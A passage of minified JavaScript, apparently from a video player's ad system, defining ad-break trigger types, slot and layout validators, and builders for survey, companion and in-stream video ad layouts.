Vk=function(x,T){this.triggerType="TRIGGER_TYPE_LIVE_STREAM_BREAK_ENDED";this.triggerId=T||x(this.triggerType)};
Gf=function(x,T){this.breakDurationMs=x;this.triggerType="TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_MATCHED";this.triggerId=T||""};
LV=function(x,T){this.breakDurationMs=x;this.triggerType="TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_NOT_MATCHED";this.triggerId=T||""};
nV=function(x,T){this.triggerType="TRIGGER_TYPE_LIVE_STREAM_BREAK_STARTED";this.triggerId=T||x(this.triggerType)};
Q3C=function(x){this.triggerId=x;this.triggerType="TRIGGER_TYPE_MEDIA_RESUMED"};
pM3=function(x,T,t,u,H){this.RM=T;this.C=t;this.visible=u;this.layoutId=H;this.triggerType="TRIGGER_TYPE_MEDIA_TIME_RANGE_ALLOW_REACTIVATION_ON_USER_CANCELLED";this.triggerId=x(this.triggerType)};
aM=function(x,T,t,u,H){this.RM=T;this.C=t;this.visible=u;this.triggerType="TRIGGER_TYPE_MEDIA_TIME_RANGE";this.triggerId=H||x(this.triggerType)};
gL=function(x,T){this.breakDurationMs=x;this.triggerType="TRIGGER_TYPE_NEW_SLOT_SCHEDULED_WITH_BREAK_DURATION";this.triggerId=T||""};
Olv=function(x,T,t){this.RM=T;this.C=t;this.triggerType="TRIGGER_TYPE_NOT_IN_MEDIA_TIME_RANGE";this.triggerId=x(this.triggerType)};
B1=function(x,T,t,u,H){this.C=T;this.slotType=t;this.layoutType=u;this.triggerType="TRIGGER_TYPE_ON_DIFFERENT_LAYOUT_ID_ENTERED";this.triggerId=H||x(this.triggerType)};
W1=function(x,T){this.C=T;this.slotType="SLOT_TYPE_IN_PLAYER";this.triggerType="TRIGGER_TYPE_ON_DIFFERENT_SLOT_ID_ENTER_REQUESTED";this.triggerId=x(this.triggerType)};
Df=function(x,T,t){this.layoutId=T;this.triggerType="TRIGGER_TYPE_ON_LAYOUT_SELF_EXIT_REQUESTED";this.triggerId=t||x(this.triggerType)};
yk=function(x,T,t){this.C=T;this.triggerType="TRIGGER_TYPE_ON_NEW_PLAYBACK_AFTER_CONTENT_VIDEO_ID";this.triggerId=t||x(this.triggerType)};
JPv=function(x,T){this.opportunityType="OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED";this.associatedSlotId=T;this.triggerType="TRIGGER_TYPE_ON_OPPORTUNITY_TYPE_RECEIVED";this.triggerId=x(this.triggerType)};
f13=function(x,T){this.C=x;this.index=T};
wM3=function(x){this.triggerType="TRIGGER_TYPE_PLAYBACK_MINIMIZED";this.triggerId=x(this.triggerType)};
NU=function(x,T){this.triggerType="TRIGGER_TYPE_PREFETCH_CACHE_EXPIRED";this.triggerId=T||x(this.triggerType)};
KwH=function(x,T,t){this.layoutId=T;this.offsetMs=t;this.triggerType="TRIGGER_TYPE_PROGRESS_PAST_MEDIA_TIME_WITH_OFFSET_RELATIVE_TO_LAYOUT_ENTER";this.triggerId=x(this.triggerType)};
XMf=function(x,T){this.layoutId=T;this.triggerType="TRIGGER_TYPE_SEEK_BACKWARD_BEFORE_LAYOUT_ENTER_TIME";this.triggerId=x(this.triggerType)};
xiv=function(x,T,t){this.layoutId=T;this.offsetMs=t;this.triggerType="TRIGGER_TYPE_SEEK_FORWARD_PAST_MEDIA_TIME_WITH_OFFSET_RELATIVE_TO_LAYOUT_ENTER";this.triggerId=x(this.triggerType)};
JO=function(x,T,t){this.triggeringLayoutId=T;this.triggerType="TRIGGER_TYPE_SKIP_REQUESTED";this.triggerId=t||x(this.triggerType)};
CV=function(x,T,t){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_ENTERED";this.triggerId=t||x(this.triggerType)};
Qk=function(x,T,t){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_EXITED";this.triggerId=t||x(this.triggerType)};
pV=function(x,T){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_FULFILLED_EMPTY";this.triggerId=x(this.triggerType)};
OO=function(x,T){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_FULFILLED_NON_EMPTY";this.triggerId=x(this.triggerType)};
fV=function(x,T,t){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_SCHEDULED";this.triggerId=t||x(this.triggerType)};
wL=function(x,T){this.triggeringSlotId=T;this.triggerType="TRIGGER_TYPE_SLOT_ID_UNSCHEDULED";this.triggerId=x(this.triggerType)};
KV=function(x,T,t){this.triggeringLayoutId=T;this.triggerType="TRIGGER_TYPE_SURVEY_SUBMITTED";this.triggerId=t||x(this.triggerType)};
XN=function(x,T,t,u){this.durationMs=T;this.triggeringLayoutId=t;this.triggerType="TRIGGER_TYPE_TIME_RELATIVE_TO_LAYOUT_ENTER";this.triggerId=u||x(this.triggerType)};
xY=function(x,T,t,u){this.category=x;this.trigger=T;this.slot=t;this.layout=u};
TO=function(x){return(x==null?void 0:x.layoutId)!=null&&(x==null?void 0:x.layoutType)!=null};
TKH=function(x){if(!TO(x.adLayoutMetadata))return!1;x=x.renderingContent;return g.N(x,oj)||g.N(x,t4)||g.N(x,sF)||g.N(x,uC)||g.N(x,$Y)||g.N(x,Hb)?!0:!1};
ogq=function(x){return(x==null?void 0:x.durationMs)!=null&&(x==null?void 0:x.durationMs)>0};
iC=function(x){return!!(x.AQQ&&x.slot&&x.layout)};
Ij=function(x){var T,t=(T=x.config)==null?void 0:T.adPlacementConfig;x=x.renderer;return!(!t||t.kind==null||!x)};
tSq=function(x){if(!TO(x.adLayoutMetadata))return!1;x=x.renderingContent;return g.N(x,Eq)||g.N(x,qu)||g.N(x,iF)||g.N(x,IS)?!0:!1};
EF=function(x){return x.playerVars!==void 0&&x.pings!==void 0&&x.externalVideoId!==void 0};
YY=function(x){if(!TO(x.adLayoutMetadata))return!1;x=x.renderingContent;var T=g.N(x,qJ);return T?Zh(T):(T=g.N(x,jA))?EF(T):(T=g.N(x,eA))?T.playerVars!==void 0:(T=g.N(x,Eq))?T.durationMilliseconds!==void 0:g.N(x,lC)||g.N(x,cb)?!0:!1};
Zh=function(x){x=(x.sequentialLayouts||[]).map(function(T){return g.N(T,UF)});
return x.length>0&&x.every(YY)};
bC=function(x){return TO(x.adLayoutMetadata)?(x=g.N(x.renderingContent,sfq))&&x.pings?!0:!1:!1};
Egi=function(x){if(!TO(x.adLayoutMetadata))return!1;if(g.N(x.renderingContent,upq)||g.N(x.renderingContent,$i3))return!0;var T=g.N(x.renderingContent,rz);return g.N(x.renderingContent,zO)||g.N(T==null?void 0:T.sidePanel,Hn5)||g.N(T==null?void 0:T.sidePanel,inH)||g.N(T==null?void 0:T.sidePanel,I7q)?!0:!1};
l75=function(x){var T;(T=!x)||(T=x.adSlotMetadata,T=!((T==null?void 0:T.slotId)!==void 0&&(T==null?void 0:T.slotType)!==void 0));if(T||!(q63(x)||x.slotEntryTrigger&&x.slotFulfillmentTriggers&&x.slotExpirationTriggers))return!1;var t;x=(t=x.fulfillmentContent)==null?void 0:t.fulfilledLayout;return(t=g.N(x,UF))?YY(t):(t=g.N(x,kY))?Egi(t):(t=g.N(x,Znf))?tSq(t):(t=g.N(x,jfH))?TKH(t):(t=g.N(x,e1V))?TO(t.adLayoutMetadata)?g.N(t.renderingContent,oj)?!0:!1:!1:(x=g.N(x,FA))?bC(x):!1};
q63=function(x){var T;x=g.N((T=x.fulfillmentContent)==null?void 0:T.fulfilledLayout,kY);var t;return x&&((t=x.adLayoutMetadata)==null?void 0:t.layoutType)==="LAYOUT_TYPE_PANEL_QR_CODE"&&x.layoutExitNormalTriggers===void 0};
miC=function(x){var T;return(x==null?void 0:(T=x.adSlotMetadata)==null?void 0:T.slotType)==="SLOT_TYPE_IN_PLAYER"};
MSv=function(x,T){var t;if((t=x.questions)==null||!t.length||!x.playbackCommands||(T===void 0||!T)&&x.questions.length!==1)return!1;x=g.S(x.questions);for(T=x.next();!T.done;T=x.next()){T=T.value;var u=t=void 0,H=((t=g.N(T,h4))==null?void 0:t.surveyAdQuestionCommon)||((u=g.N(T,vb))==null?void 0:u.surveyAdQuestionCommon);if(!dim(H))return!1}return!0};
ARv=function(x){x=((x==null?void 0:x.playerOverlay)||{}).instreamSurveyAdRenderer;var T;if(x)if(x.playbackCommands&&x.questions&&x.questions.length===1){var t,u=((T=g.N(x.questions[0],h4))==null?void 0:T.surveyAdQuestionCommon)||((t=g.N(x.questions[0],vb))==null?void 0:t.surveyAdQuestionCommon);T=dim(u)}else T=!1;else T=!1;return T};
dim=function(x){if(!x)return!1;x=g.N(x.instreamAdPlayerOverlay,Vr);var T=g.N(x==null?void 0:x.skipOrPreviewRenderer,i_),t=g.N(x==null?void 0:x.adInfoRenderer,GO);return(g.N(x==null?void 0:x.skipOrPreviewRenderer,Lx)||T)&&t?!0:!1};
R1X=function(x){return x.linearAds!=null&&TO(x.adLayoutMetadata)};
PDf=function(x){return x.linearAd!=null&&x.adVideoStart!=null};
S6m=function(x){if(isNaN(Number(x.timeoutSeconds))||!x.text||!x.ctaButton||!g.N(x.ctaButton,g.nx)||!x.brandImage)return!1;var T;return x.backgroundImage&&g.N(x.backgroundImage,aj)&&((T=g.N(x.backgroundImage,aj))==null?0:T.landscape)?!0:!1};
gz=function(x,T,t,u,H,I,E){g.W.call(this);this.Lf=x;this.C=T;this.j=u;this.Bv=H;this.K=I;this.Z=E};
UiH=function(x,T,t){var u,H=((u=t.adSlots)!=null?u:[]).map(function(Z){return g.N(Z,Bb)});
if(t.WI)if(uS(T.clientMetadata,"metadata_type_allow_pause_ad_break_request_slot_reschedule"))mx(x.C.get(),"OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED",function(){return[]},T.slotId);
else{if(x.Lf.get().U.Y().B("h5_check_forecasting_renderer_for_throttled_midroll")){var I=t.h9.filter(function(Z){var e;return((e=Z.renderer)==null?void 0:e.clientForecastingAdRenderer)!=null});
I.length!==0?cRi(x.Z,I,H,T.slotId,t.ssdaiAdsConfig):mx(x.C.get(),"OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED",function(){return[]},T.slotId)}else mx(x.C.get(),"OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED",function(){return[]},T.slotId);
Y6q(x.K,T)}else{var E;u={CA:Math.round(((I=uS(T.clientMetadata,"metadata_type_ad_break_request_data"))==null?void 0:I.CA)||0),Sm:(E=uS(T.clientMetadata,"metadata_type_ad_break_request_data"))==null?void 0:E.Sm};cRi(x.Z,t.h9,H,T.slotId,t.ssdaiAdsConfig,u)}};
rRf=function(x,T,t,u,H,I,E){var Z=AH(x.Bv.get(),1);mx(x.C.get(),"OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED",function(){return bnq(x.j.get(),t,u,H,Z.clientPlaybackNonce,Z.Mg,Z.daiEnabled,Z,I,E)},T)};
k75=function(x,T,t,u,H,I,E){T=z14(T,I,Number(u.prefetchMilliseconds)||0,E);x=T instanceof w?T:Wb(x,u,H,T,t);return x instanceof w?x:[x]};
FiJ=function(x,T,t,u,H){var I=d6(x.Z.get(),"SLOT_TYPE_AD_BREAK_REQUEST");u=[new nc({getAdBreakUrl:u.getAdBreakUrl,CA:0,Sm:0}),new w8(!0)];x=T.pauseDurationMs?T.lactThresholdMs?{slotId:I,slotType:"SLOT_TYPE_AD_BREAK_REQUEST",slotPhysicalPosition:2,slotEntryTrigger:new fV(x.C,I),slotFulfillmentTriggers:[new JAH(x.C)],slotExpirationTriggers:[new yk(x.C,H),new Qk(x.C,I)],Yc:"core",clientMetadata:new sn(u),adSlotLoggingData:t}:new w("AdPlacementConfig for Pause Ads is missing lact_threshold_ms"):new w("AdPlacementConfig for Pause Ads is missing pause_duration_ms");
return x instanceof w?x:[x]};
h13=function(x){var T,t;return((T=x.renderer)==null?void 0:(t=T.adBreakServiceRenderer)==null?void 0:t.getAdBreakUrl)!==void 0};
Dh=function(x,T,t){if(x.beforeContentVideoIdStartedTrigger)x=x.beforeContentVideoIdStartedTrigger?new b_(oT,T,x.id):new w("Not able to create BeforeContentVideoIdStartedTrigger");else{if(x.layoutIdExitedTrigger){var u;T=(u=x.layoutIdExitedTrigger)!=null&&u.triggeringLayoutId?new v1(oT,x.layoutIdExitedTrigger.triggeringLayoutId,x.id):new w("Not able to create LayoutIdExitedTrigger")}else{if(x.layoutExitedForReasonTrigger){var H,I;((H=x.layoutExitedForReasonTrigger)==null?0:H.triggeringLayoutId)&&((I=
x.layoutExitedForReasonTrigger)==null?0:I.layoutExitReason)?(T=CcD(x.layoutExitedForReasonTrigger.layoutExitReason),x=T instanceof w?T:new hO(oT,x.layoutExitedForReasonTrigger.triggeringLayoutId,[T],x.id)):x=new w("Not able to create LayoutIdExitedForReasonTrigger")}else{if(x.onLayoutSelfExitRequestedTrigger){var E;T=(E=x.onLayoutSelfExitRequestedTrigger)!=null&&E.triggeringLayoutId?new Df(oT,x.onLayoutSelfExitRequestedTrigger.triggeringLayoutId,x.id):new w("Not able to create OnLayoutSelfExitRequestedTrigger")}else{if(x.onNewPlaybackAfterContentVideoIdTrigger)x=
x.onNewPlaybackAfterContentVideoIdTrigger?new yk(oT,T,x.id):new w("Not able to create OnNewPlaybackAfterContentVideoIdTrigger");else{if(x.skipRequestedTrigger){var Z;T=(Z=x.skipRequestedTrigger)!=null&&Z.triggeringLayoutId?new JO(oT,x.skipRequestedTrigger.triggeringLayoutId,x.id):new w("Not able to create SkipRequestedTrigger")}else if(x.slotIdEnteredTrigger){var e;T=(e=x.slotIdEnteredTrigger)!=null&&e.triggeringSlotId?new CV(oT,x.slotIdEnteredTrigger.triggeringSlotId,x.id):new w("Not able to create SlotIdEnteredTrigger")}else if(x.slotIdExitedTrigger){var l;
T=(l=x.slotIdExitedTrigger)!=null&&l.triggeringSlotId?new Qk(oT,x.slotIdExitedTrigger.triggeringSlotId,x.id):new w("Not able to create SkipRequestedTrigger")}else if(x.surveySubmittedTrigger){var m;T=(m=x.surveySubmittedTrigger)!=null&&m.triggeringLayoutId?new KV(oT,x.surveySubmittedTrigger.triggeringLayoutId,x.id):new w("Not able to create SurveySubmittedTrigger")}else{if(x.mediaResumedTrigger)x=x.mediaResumedTrigger&&x.id?new Q3C(x.id):new w("Not able to create MediaResumedTrigger");else{if(x.closeRequestedTrigger){var d;
T=(d=x.closeRequestedTrigger)!=null&&d.triggeringLayoutId?new rL(oT,x.closeRequestedTrigger.triggeringLayoutId,x.id):new w("Not able to create CloseRequestedTrigger")}else if(x.slotIdScheduledTrigger){var M;T=(M=x.slotIdScheduledTrigger)!=null&&M.triggeringSlotId?new fV(oT,x.slotIdScheduledTrigger.triggeringSlotId,x.id):new w("Not able to create SlotIdScheduledTrigger")}else{if(x.mediaTimeRangeTrigger){var A;u=Number((A=x.mediaTimeRangeTrigger)==null?void 0:A.offsetStartMilliseconds);var R;E=Number((R=
x.mediaTimeRangeTrigger)==null?void 0:R.offsetEndMilliseconds);isFinite(u)&&isFinite(E)?(R=E,R===-1&&(R=t),t=u>R?new w("AD_PLACEMENT_KIND_MILLISECONDS endMs needs to be >= startMs.",{offsetStartMs:u,offsetEndMs:R},"ADS_CLIENT_ERROR_MESSAGE_AD_PLACEMENT_END_SHOULD_GREATER_THAN_START",R===t&&u-500<=R):new SW(u,R),x=t instanceof w?t:new aM(oT,T,t,!1,x.id)):x=new w("Not able to create MediaTimeRangeTrigger")}else if(x.contentVideoIdEndedTrigger)x=x.contentVideoIdEndedTrigger?new zf(oT,T,!1,x.id):new w("Not able to create ContentVideoIdEndedTrigger");
else{if(x.layoutIdEnteredTrigger){var Y;T=(Y=x.layoutIdEnteredTrigger)!=null&&Y.triggeringLayoutId?new FN(oT,x.layoutIdEnteredTrigger.triggeringLayoutId,x.id):new w("Not able to create LayoutIdEnteredTrigger")}else if(x.timeRelativeToLayoutEnterTrigger){var b;T=(b=x.timeRelativeToLayoutEnterTrigger)!=null&&b.triggeringLayoutId?new XN(oT,Number(x.timeRelativeToLayoutEnterTrigger.durationMs),x.timeRelativeToLayoutEnterTrigger.triggeringLayoutId,x.id):new w("Not able to create TimeRelativeToLayoutEnterTrigger")}else if(x.onDifferentLayoutIdEnteredTrigger){var z;
T=(z=x.onDifferentLayoutIdEnteredTrigger)!=null&&z.triggeringLayoutId&&x.onDifferentLayoutIdEnteredTrigger.slotType&&x.onDifferentLayoutIdEnteredTrigger.layoutType?new B1(oT,x.onDifferentLayoutIdEnteredTrigger.triggeringLayoutId,x.onDifferentLayoutIdEnteredTrigger.slotType,x.onDifferentLayoutIdEnteredTrigger.layoutType,x.id):new w("Not able to create CloseRequestedTrigger")}else{if(x.liveStreamBreakStartedTrigger)x=x.liveStreamBreakStartedTrigger&&x.id?new nV(oT,x.id):new w("Not able to create LiveStreamBreakStartedTrigger");
else if(x.liveStreamBreakEndedTrigger)x=x.liveStreamBreakEndedTrigger&&x.id?new Vk(oT,x.id):new w("Not able to create LiveStreamBreakEndedTrigger");else{if(x.liveStreamBreakScheduledDurationMatchedTrigger){var F;T=(F=x.liveStreamBreakScheduledDurationMatchedTrigger)!=null&&F.breakDurationMs?new Gf(Number(x.liveStreamBreakScheduledDurationMatchedTrigger.breakDurationMs||"0")||0,x.id):new w("Not able to create LiveStreamBreakScheduledDurationMatchedTrigger")}else if(x.liveStreamBreakScheduledDurationNotMatchedTrigger){var V;
T=(V=x.liveStreamBreakScheduledDurationNotMatchedTrigger)!=null&&V.breakDurationMs?new LV(Number(x.liveStreamBreakScheduledDurationNotMatchedTrigger.breakDurationMs||"0")||0,x.id):new w("Not able to create LiveStreamBreakScheduledDurationNotMatchedTrigger")}else if(x.newSlotScheduledWithBreakDurationTrigger){var B;T=(B=x.newSlotScheduledWithBreakDurationTrigger)!=null&&B.breakDurationMs?new gL(Number(x.newSlotScheduledWithBreakDurationTrigger.breakDurationMs||"0")||0,x.id):new w("Not able to create NewSlotScheduledWithBreakDurationTrigger")}else T=
x.prefetchCacheExpiredTrigger?new NU(oT,x.id):new w("Not able to convert an AdsControlflowTrigger.");x=T}T=x}x=T}T=x}x=T}T=x}x=T}T=x}x=T}T=x}x=T}return x};
yr=function(x,T){T.C>=2&&(x.slot_pos=T.adPodIndex);x.autoplay="1"};
VSD=function(x,T,t,u,H,I,E,Z){return T===null?new w("Invalid slot type when get discovery companion fromActionCompanionAdRenderer",{slotType:T,ActionCompanionAdRenderer:u}):[vgH(x,T,E,I,function(e){var l=e.slotId;e=Z(e);var m=u.adLayoutLoggingData,d=new sn([new nO(u),new O7(H)]);l=On(t.Z.get(),"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",l);var M={layoutId:l,layoutType:"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",Yc:"core"};return{layoutId:l,layoutType:"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",uN:new Map,
layoutExitNormalTriggers:[new yk(t.C,E)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:d,FV:e(M),adLayoutLoggingData:m}})]};
G7m=function(x,T,t,u,H,I,E,Z){return T===null?new w("Invalid slot type when get discovery companion fromTopBannerImageTextIconButtonedLayoutViewModel",{slotType:T,TopBannerImageTextIconButtonedLayoutViewModel:u}):[vgH(x,T,E,I,function(e){var l=e.slotId;e=Z(e);var m=u.adLayoutLoggingData,d=new sn([new aO(u),new O7(H)]);l=On(t.Z.get(),"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",l);var M={layoutId:l,layoutType:"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",Yc:"core"};return{layoutId:l,layoutType:"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",
uN:new Map,layoutExitNormalTriggers:[new yk(t.C,E)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:d,FV:e(M),adLayoutLoggingData:m}})]};
ggC=function(x,T,t,u,H,I){if(!I)for(T=g.S(T),I=T.next();!I.done;I=T.next())I=I.value,NJ(x,I.renderer,I.config.adPlacementConfig.kind);x=Array.from(x.values()).filter(function(m){return Lim(m)});
T=[];I=g.S(x);for(var E=I.next(),Z={};!E.done;Z={No:void 0},E=I.next()){Z.No=E.value;E=g.S(Z.No.zU);for(var e=E.next(),l={};!e.done;l={f7:void 0},e=E.next())l.f7=e.value,e=function(m,d){return function(M){return m.f7.Kh(M,d.No.instreamVideoAdRenderer.elementId,m.f7.oL)}}(l,Z),l.f7.isContentVideoCompanion?T.push(ngD(t,u,H,Z.No.instreamVideoAdRenderer.elementId,l.f7.associatedCompositePlayerBytesLayoutId,l.f7.adSlotLoggingData,e)):x.length>1?T.push(a74(t,u,H,Z.No.instreamVideoAdRenderer.elementId,l.f7.adSlotLoggingData,
function(m,d){return function(M){return m.f7.Kh(M,d.No.instreamVideoAdRenderer.elementId,m.f7.oL,m.f7.associatedCompositePlayerBytesLayoutId)}}(l,Z))):T.push(a74(t,u,H,Z.No.instreamVideoAdRenderer.elementId,l.f7.adSlotLoggingData,e))}return T};
NJ=function(x,T,t){if(T=BKV(T)){T=g.S(T);for(var u=T.next();!u.done;u=T.next())if((u=u.value)&&u.externalVideoId){var H=J4(x,u.externalVideoId);H.instreamVideoAdRenderer||(H.instreamVideoAdRenderer=u,H.Il=t)}else E3("InstreamVideoAdRenderer without externalVideoId")}};
BKV=function(x){var T=[],t=x.sandwichedLinearAdRenderer&&x.sandwichedLinearAdRenderer.linearAd&&g.N(x.sandwichedLinearAdRenderer.linearAd,jA);if(t)return T.push(t),T;if(x.instreamVideoAdRenderer)return T.push(x.instreamVideoAdRenderer),T;if(x.linearAdSequenceRenderer&&x.linearAdSequenceRenderer.linearAds){x=g.S(x.linearAdSequenceRenderer.linearAds);for(t=x.next();!t.done;t=x.next())t=t.value,g.N(t,jA)&&T.push(g.N(t,jA));return T}return null};
Lim=function(x){if(x.instreamVideoAdRenderer===void 0)return E3("AdPlacementSupportedRenderers without matching InstreamVideoAdRenderer"),!1;for(var T=g.S(x.zU),t=T.next();!t.done;t=T.next()){t=t.value;if(t.Kh===void 0)return!1;if(t.oL===void 0)return E3("AdPlacementConfig for AdPlacementSupportedRenderers that matches an InstreamVideoAdRenderer is undefined"),!1;if(x.Il===void 0||t.JB===void 0||x.Il!==t.JB&&t.JB!=="AD_PLACEMENT_KIND_SELF_START")return!1;if(x.instreamVideoAdRenderer.elementId===void 0)return E3("InstreamVideoAdRenderer has no elementId",
void 0,void 0,{kind:x.Il,"matching APSR kind":t.JB}),!1}return!0};
J4=function(x,T){x.has(T)||x.set(T,{instreamVideoAdRenderer:void 0,Il:void 0,adVideoId:T,zU:[]});return x.get(T)};
Cx=function(x,T,t,u,H,I,E,Z,e){H?J4(x,H).zU.push({Lcf:T,JB:t,isContentVideoCompanion:u,oL:E,associatedCompositePlayerBytesLayoutId:I,adSlotLoggingData:Z,Kh:e}):E3("Companion AdPlacementSupportedRenderer without adVideoId")};
Qr=function(x){var T=0;x=g.S(x.questions);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t=g.N(t,h4)||g.N(t,vb)){var u=void 0;T+=((u=t.surveyAdQuestionCommon)==null?void 0:u.durationMilliseconds)||0}return T};
px=function(x){var T,t,u,H,I=((t=g.N((T=x.questions)==null?void 0:T[0],h4))==null?void 0:t.surveyAdQuestionCommon)||((H=g.N((u=x.questions)==null?void 0:u[0],vb))==null?void 0:H.surveyAdQuestionCommon),E;T=[].concat(g.U(((E=x.playbackCommands)==null?void 0:E.instreamAdCompleteCommands)||[]),g.U((I==null?void 0:I.timeoutCommands)||[]));var Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH,HX,xq;return{impressionCommands:(Z=x.playbackCommands)==null?void 0:Z.impressionCommands,errorCommands:(e=x.playbackCommands)==
null?void 0:e.errorCommands,muteCommands:(l=x.playbackCommands)==null?void 0:l.muteCommands,unmuteCommands:(m=x.playbackCommands)==null?void 0:m.unmuteCommands,pauseCommands:(d=x.playbackCommands)==null?void 0:d.pauseCommands,rewindCommands:(M=x.playbackCommands)==null?void 0:M.rewindCommands,resumeCommands:(A=x.playbackCommands)==null?void 0:A.resumeCommands,skipCommands:(R=x.playbackCommands)==null?void 0:R.skipCommands,progressCommands:(Y=x.playbackCommands)==null?void 0:Y.progressCommands,hkc:(b=
x.playbackCommands)==null?void 0:b.clickthroughCommands,fullscreenCommands:(z=x.playbackCommands)==null?void 0:z.fullscreenCommands,activeViewViewableCommands:(F=x.playbackCommands)==null?void 0:F.activeViewViewableCommands,activeViewMeasurableCommands:(V=x.playbackCommands)==null?void 0:V.activeViewMeasurableCommands,activeViewFullyViewableAudibleHalfDurationCommands:(B=x.playbackCommands)==null?void 0:B.activeViewFullyViewableAudibleHalfDurationCommands,activeViewAudioAudibleCommands:(D=x.playbackCommands)==
null?void 0:(f=D.activeViewTracking)==null?void 0:f.activeViewAudioAudibleCommands,activeViewAudioMeasurableCommands:(O=x.playbackCommands)==null?void 0:(sH=O.activeViewTracking)==null?void 0:sH.activeViewAudioMeasurableCommands,endFullscreenCommands:(HX=x.playbackCommands)==null?void 0:HX.endFullscreenCommands,abandonCommands:(xq=x.playbackCommands)==null?void 0:xq.abandonCommands,completeCommands:T}};
Di3=function(x,T,t,u,H,I,E){return function(Z,e){return WiX(x,e.slotId,Z,I,function(l,m){var d=e.layoutId;l=E(l);return OF(T,d,m,H,l,"LAYOUT_TYPE_SURVEY",[new Z4(t),u],t.adLayoutLoggingData)})}};
JRC=function(x,T,t,u,H,I,E){if(!yRC(x))return new w("Invalid InstreamVideoAdRenderer for SlidingText.",{instreamVideoAdRenderer:x});var Z=x.additionalPlayerOverlay.slidingTextPlayerOverlayRenderer;return[NK3(I,T,t,u,function(e){var l=e.slotId;e=E(e);l=On(H.Z.get(),"LAYOUT_TYPE_SLIDING_TEXT_PLAYER_OVERLAY",l);var m={layoutId:l,layoutType:"LAYOUT_TYPE_SLIDING_TEXT_PLAYER_OVERLAY",Yc:"core"},d=new v1(H.C,u);return{layoutId:l,layoutType:"LAYOUT_TYPE_SLIDING_TEXT_PLAYER_OVERLAY",uN:new Map,layoutExitNormalTriggers:[d],
layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new jt(Z)]),FV:e(m)}})]};
yRC=function(x){x=g.N(x==null?void 0:x.additionalPlayerOverlay,CD5);if(!x)return!1;var T=x.slidingMessages;return x.title&&T&&T.length!==0?!0:!1};
p5H=function(x,T,t,u,H){var I;if((I=x.playerOverlay)==null||!I.instreamSurveyAdRenderer)return function(){return[]};
if(!ARv(x))return function(){return new w("Received invalid InstreamVideoAdRenderer for DAI survey.",{instreamVideoAdRenderer:x})};
var E=x.playerOverlay.instreamSurveyAdRenderer,Z=Qr(E);return Z<=0?function(){return new w("InstreamSurveyAdRenderer should have valid duration.",{instreamSurveyAdRenderer:E})}:function(e,l){var m=QfC(e,t,u,function(d){var M=d.slotId;
d=l(d);var A=px(E);M=On(H.Z.get(),"LAYOUT_TYPE_SURVEY",M);var R={layoutId:M,layoutType:"LAYOUT_TYPE_SURVEY",Yc:"core"},Y=new v1(H.C,u),b=new JO(H.C,M),z=new KV(H.C,M),F=new wM3(H.C);return{layoutId:M,layoutType:"LAYOUT_TYPE_SURVEY",uN:new Map,layoutExitNormalTriggers:[Y,F],layoutExitSkipTriggers:[b],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[z],Aq:[],Yc:"core",clientMetadata:new sn([new qc(E),new O7(T),new Bl(Z/1E3),new Nc(A)]),FV:d(R),adLayoutLoggingData:E.adLayoutLoggingData}});
e=JRC(x,t,m.slotId,u,H,e,l);return e instanceof w?e:[m].concat(g.U(e))}};
T3D=function(x,T,t,u,H,I,E){E=E===void 0?!1:E;var Z=[];try{var e=[];if(t.renderer.linearAdSequenceRenderer)var l=function(Y){Y=On4(Y.slotId,t,T,H(Y),u,I,E);e=Y.D0y;return Y.zx};
else if(t.renderer.instreamVideoAdRenderer)l=function(Y){var b=Y.slotId;Y=H(Y);var z=E,F=t.config.adPlacementConfig,V=f73(F),B=V.dj,D=V.PP;V=t.renderer.instreamVideoAdRenderer;var f;if(V==null?0:(f=V.playerOverlay)==null?0:f.instreamSurveyAdRenderer)throw new TypeError("Survey overlay should not be set on single video.");var O=fx(V,z);f=Math.min(B+O.videoLengthSeconds*1E3,D);z=new UO(0,[O.videoLengthSeconds]);D=O.videoLengthSeconds;var sH=O.playerVars,HX=O.instreamAdPlayerOverlayRenderer,xq=O.playerOverlayLayoutRenderer,
J=O.adVideoId,X=w53(t),c=O.uN;O=O.Fl;var C=V==null?void 0:V.adLayoutLoggingData;V=V==null?void 0:V.sodarExtensionData;b=On(T.Z.get(),"LAYOUT_TYPE_MEDIA",b);var WX={layoutId:b,layoutType:"LAYOUT_TYPE_MEDIA",Yc:"core"};return{layoutId:b,layoutType:"LAYOUT_TYPE_MEDIA",uN:c,layoutExitNormalTriggers:[new Vk(T.C)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new TX(u),new Yt(D),new Uv(sH),new zX(B),new kt(f),HX&&new oH(HX),
